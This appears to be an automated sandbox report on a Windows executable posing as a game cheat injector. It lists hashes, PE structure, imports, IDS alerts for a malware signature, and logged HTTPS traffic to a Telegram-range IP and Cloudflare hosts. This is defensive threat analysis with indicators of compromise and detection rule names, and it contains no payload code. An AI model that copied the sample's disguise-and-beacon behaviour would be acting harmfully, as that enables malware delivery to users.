General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.691745749472235
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CheatInjector.exe1.exe
File size:	1'372'672 bytes
MD5:	dd71e60b511b74a3e0e41023a39caff5
SHA1:	b1aafed41b0c808950659349dd6a4d328dcd79dd
SHA256:	15a205b9631aba7dd2396ad9fa7ee0ee06c3c8f76e256e0fefb97bbd92d8ffd1
SHA512:	269f829e89da44d4c4aeff110cb61f09f4ec45dc5acf6b934a300ae7e7a58c022d68e3174e99bb5829662b457ddc0440d3d0119c37494b2a9930332af2534db1
SSDEEP:	24576:nAi/c6dNtEWZ4B+UsxoxbzmXwxQAJeqL5Z8xQAJeqL5Z:x0qNtnKB+UsxoxbzYwxQ2j5SxQ2j5
TLSH:	6155E07270C1C073FA4199B135A9E379146BFA72DE2E4FC7A2B4E3649148BD017AA11F
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g..........................................@.......................................@.................................06..<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x46e682
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67D09BB6 [Tue Mar 11 20:23:18 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d462aa757f68629e41b3df6e6d4c6a3c

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
call 00007F62045183EAh
jmp 00007F6204518259h
mov ecx, dword ptr [00496840h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F62045183E6h
test esi, ecx
jne 00007F6204518408h
call 00007F6204518411h
mov ecx, eax
cmp ecx, edi
jne 00007F62045183E9h
mov ecx, BB40E64Fh
jmp 00007F62045183F0h
test esi, ecx
jne 00007F62045183ECh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00496840h], ecx
not ecx
pop edi
mov dword ptr [00496880h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00493864h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00493824h]
xor dword ptr [ebp-04h], eax
call dword ptr [00493820h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [004938ACh]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00498490h
call dword ptr [00493884h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F620451EF35h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x93630	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x99e00	0x4540
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9a000	0x435c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8fb28	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8bf98	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x937c0	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x89ad0	0x89c00	0bd698a1f44cc91b018d0fe5240109ab	False	0.5286942774500908	data	7.09207256696417	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8b000	0xa034	0xa200	383899a836f6650ba73e1556e24d0e62	False	0.4230806327160494	data	4.888147649186249	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x96000	0x2c5c	0x1600	233e04c81724f6e0f553a5dbb15f0a09	False	0.4073153409090909	data	4.744840434225013	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x99000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x9a000	0x435c	0x4400	b181df1a2af7bbd01ea74e454a21e7ba	False	0.7916475183823529	data	6.714823432652306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x9f000	0x58600	0x58600	b11d6dacf8b65dea8756c94e737cbb56	False	1.0003342689179633	OpenPGP Public Key	7.999544607453023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xf8000	0x58600	0x58600	b11d6dacf8b65dea8756c94e737cbb56	False	1.0003342689179633	OpenPGP Public Key	7.999544607453023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeConsole, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEndOfFile, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

ole32.dll

OleDraw

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-13T13:39:41.162344+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	149.154.167.99	443	TCP
2025-03-13T13:39:43.420304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49712	104.21.32.1	443	TCP
2025-03-13T13:39:46.163547+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	104.21.32.1	443	TCP
2025-03-13T13:39:49.842221+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49715	104.21.32.1	443	TCP
2025-03-13T13:39:53.140541+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49716	104.21.32.1	443	TCP
2025-03-13T13:39:56.402571+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49718	104.21.32.1	443	TCP
2025-03-13T13:39:59.566219+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	104.21.32.1	443	TCP
2025-03-13T13:40:03.389581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	104.21.32.1	443	TCP
2025-03-13T13:40:04.755794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49724	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 13:39:39.437913895 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:39.437963963 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:39.438045979 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:39.439760923 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:39.439774036 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.162223101 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.162343979 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.165967941 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.165980101 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.166234016 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.216052055 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.260330915 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.937341928 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.937369108 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.937376976 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.937412977 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.937473059 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.937496901 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.937556028 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.940155983 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.940172911 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:41.940188885 CET	49710	443	192.168.2.5	149.154.167.99
Mar 13, 2025 13:39:41.940193892 CET	443	49710	149.154.167.99	192.168.2.5
Mar 13, 2025 13:39:42.048274994 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:42.048420906 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:42.048578024 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:42.048983097 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:42.049020052 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:43.420124054 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:43.420304060 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:43.439168930 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:43.439223051 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:43.439585924 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:43.441737890 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:43.441780090 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:43.441824913 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.324656010 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.324887991 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.324979067 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.324985027 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.325054884 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.325129032 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.325164080 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.360363007 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.360405922 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.360461950 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.360493898 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.360558033 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.360572100 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.367158890 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.367227077 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.367248058 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.420211077 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.420233011 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.467072010 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.497256994 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.497351885 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.497411013 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.497466087 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.497526884 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.497560024 CET	49712	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.497579098 CET	443	49712	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.806714058 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.806767941 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:44.806852102 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.807192087 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:44.807208061 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:46.163465023 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:46.163547039 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:46.164967060 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:46.164988041 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:46.165298939 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:46.166539907 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:46.166690111 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:46.166729927 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:46.166793108 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:46.166805983 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:47.223319054 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:47.223553896 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:47.223644018 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:47.291670084 CET	49714	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:47.291702986 CET	443	49714	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:48.469831944 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:48.469880104 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:48.469978094 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:48.470467091 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:48.470479965 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:49.842103004 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:49.842221022 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:49.843864918 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:49.843878984 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:49.844118118 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:49.845679045 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:49.845881939 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:49.845911026 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:49.845971107 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:49.892328024 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:50.875058889 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:50.875180006 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:50.875263929 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:50.923501968 CET	49715	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:50.923542976 CET	443	49715	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:51.765249014 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:51.765309095 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:51.765388012 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:51.765840054 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:51.765855074 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:53.140391111 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:53.140541077 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:53.142047882 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:53.142059088 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:53.142311096 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:53.143594027 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:53.143747091 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:53.143773079 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:53.143838882 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:53.143848896 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:54.180773020 CET	443	49716	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:54.181042910 CET	49716	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:54.961716890 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:54.961781025 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:54.961853981 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:54.962306976 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:54.962320089 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:56.402477980 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:56.402570963 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:56.404874086 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:56.404880047 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:56.405219078 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:56.406500101 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:56.406622887 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:56.406651974 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:57.457164049 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:57.457315922 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:57.457467079 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:57.457561016 CET	49718	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:57.457573891 CET	443	49718	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:58.088133097 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:58.088170052 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:58.088401079 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:58.088730097 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:58.088741064 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.566118002 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.566219091 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.568002939 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.568025112 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.568283081 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.569592953 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.570415020 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.570452929 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.570549965 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.570580006 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.570775986 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.570818901 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.570939064 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.570962906 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571098089 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571132898 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571286917 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571305990 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571315050 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571329117 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571490049 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571520090 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571552992 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571564913 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571667910 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571701050 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571715117 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571722984 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571737051 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571780920 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571861982 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571899891 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571899891 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:39:59.571930885 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:39:59.571948051 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:40:02.603411913 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:40:02.603513956 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:40:02.603610992 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:40:02.603693008 CET	49720	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:40:02.603708982 CET	443	49720	104.21.32.1	192.168.2.5
Mar 13, 2025 13:40:02.669790030 CET	49723	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:40:02.669832945 CET	443	49723	104.21.32.1	192.168.2.5
Mar 13, 2025 13:40:02.669912100 CET	49723	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:40:02.670429945 CET	49723	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:40:02.670445919 CET	443	49723	104.21.32.1	192.168.2.5
Mar 13, 2025 13:40:03.389580965 CET	49723	443	192.168.2.5	104.21.32.1
Mar 13, 2025 13:40:03.420757055 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:03.420813084 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:03.420926094 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:03.421459913 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:03.421472073 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:04.755675077 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:04.755794048 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:05.063873053 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:05.063898087 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.064279079 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.065530062 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:05.065610886 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:05.065675020 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.973831892 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.973900080 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.973944902 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.973961115 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:05.973982096 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:05.974059105 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:05.977806091 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.017740965 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.017784119 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.017803907 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:06.017818928 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.017869949 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:06.017875910 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.017896891 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.017950058 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:06.018409014 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:06.018421888 CET	443	49724	188.114.96.3	192.168.2.5
Mar 13, 2025 13:40:06.018436909 CET	49724	443	192.168.2.5	188.114.96.3
Mar 13, 2025 13:40:06.018443108 CET	443	49724	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 13, 2025 13:39:39.422466993 CET	61904	53	192.168.2.5	1.1.1.1
Mar 13, 2025 13:39:39.429236889 CET	53	61904	1.1.1.1	192.168.2.5
Mar 13, 2025 13:39:41.960203886 CET	55509	53	192.168.2.5	1.1.1.1
Mar 13, 2025 13:39:41.969345093 CET	53	55509	1.1.1.1	192.168.2.5
Mar 13, 2025 13:39:41.977720976 CET	53337	53	192.168.2.5	1.1.1.1
Mar 13, 2025 13:39:42.033159018 CET	53	53337	1.1.1.1	192.168.2.5
